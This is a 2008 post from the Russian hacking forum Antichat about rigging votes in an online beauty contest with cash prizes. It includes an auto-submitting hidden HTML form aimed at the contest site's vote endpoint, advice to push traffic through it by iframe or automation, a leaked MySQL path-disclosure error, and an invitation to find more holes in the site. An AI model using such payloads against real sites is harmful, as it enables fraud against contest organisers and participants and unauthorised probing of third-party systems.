Форум АНТИЧАТ - Мисс Вконтакте 2008 xD

Мисс Вконтакте 2008 xD

16.08.2008, 06:44

T-Rey

Moderator - Level 7

Регистрация: 04.07.2007

Сообщений: 375

Провел на форуме:
2670099

Репутация: 730

Отправить сообщение для T-Rey с помощью ICQ

Мисс Вконтакте 2008 xD

Ходя по интернету наткнулся на сайт http://missvkontakte.com/

Цель его такова:
Девушки регистрируются
За них голосуют
И сами призы

Цитата:

1-место Приз: 300 000 рублей.
2-место Приз: 100 000 рублей.
3-место Приз: 50 000 рублей.

Голоса можно было отправить несколькими способами:
1 голос бесплатно (по ip каждые пол часа)
10 голосов СМС
100 голосов СМС

Ну покопавшись в сорцах сайта обнорушил, что +1 добавляется обычным post запросом (хоть бы капчу прикрутили

)

И был написан iframe

PHP код:


		
			
<html>

<body>

<form name=MyForm action="http://missvkontakte.com/simplevoice.php" method=POST>

<input type=hidden name="id_miss" value="Номер учасницы">

</form>

<script>

document.MyForm.submit();

</script>

</body>

</html>

Следовательно сливаем на него трафф и голоса летят) или крути пост через ТОПген

Так же заметил ошибку мускула где раскрытие путей:

PHP код:


		
			
Warning: mysql_fetch_array(): supplied argument is

 not a valid MySQL result resource in /www/missvkon/www/htdocs/index.php on line 261

Есть идеи? Что ещё можно найти тут?

P.S. Сайт ну никак не соответствует призовой сумме

Благодарю комрада mr.The за помощь оказанную мне в поиске уязвимостей сайта.

Последний раз редактировалось T-Rey; 17.08.2008 в 19:20..